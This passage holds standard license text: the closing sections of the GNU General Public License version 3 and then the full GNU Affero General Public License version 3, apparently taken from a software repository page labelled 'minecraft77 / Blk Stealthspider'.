License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {one line to give the program's name and a brief idea of what it does.} Copyright (C) {year} {name of author} This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: {project} Copyright (C) {year} {fullname} This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>.
minecraft77 / Blk StealthspiderGNU AFFERO GENERAL PUBLIC LICENSE Version 3, 19 November 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU Affero General Public License is a free, copyleft license for software and other kinds of works, specifically designed to ensure cooperation with the community in the case of network server software. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, our General Public Licenses are intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. Developers that use our General Public Licenses protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License which gives you legal permission to copy, distribute and/or modify the software. A secondary benefit of defending all users' freedom is that improvements made in alternate versions of the program, if they receive widespread use, become available for other developers to incorporate. Many developers of free software are heartened and encouraged by the resulting cooperation. However, in the case of software used on network servers, this result may fail to come about. The GNU General Public License permits making a modified version and letting the public access it on a server without ever releasing its source code to the public. The GNU Affero General Public License is designed specifically to ensure that, in such cases, the modified source code becomes available to the community. It requires the operator of a network server to provide the source code of the modified version running there to the users of that server. Therefore, public use of a modified version, on a publicly accessible server, gives the public access to the source code of the modified version. An older license, called the Affero General Public License and published by Affero, was designed to accomplish similar goals. This is a different license, not a version of the Affero GPL, but Affero has released a new version of the Affero GPL which permits relicensing under this license. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU Affero General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Remote Network Interaction; Use with the GNU General Public License. Notwithstanding any other provision of this License, if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version by providing access to the Corresponding Source from a network server at no charge, through some standard or customary means of facilitating copying of software. This Corresponding Source shall include the Corresponding Source for any work covered by version 3 of the GNU General Public License that is incorporated pursuant to the following paragraph. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the work with which it is combined will remain governed by version 3 of the GNU General Public License. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU Affero General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU Affero General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU Affero General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Also add information on how to contact you by electronic and paper mail. If your software can interact with users remotely through a computer network, you should also make sure that it provides a way for users to get its source. For example, if your program is a web application, its interface could display a "Source" link that leads users to an archive of the code. There are many ways you could offer source, and different solutions will be better for different programs; see section 13 for the specific requirements. You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see <http://www.gnu.org/licenses/>.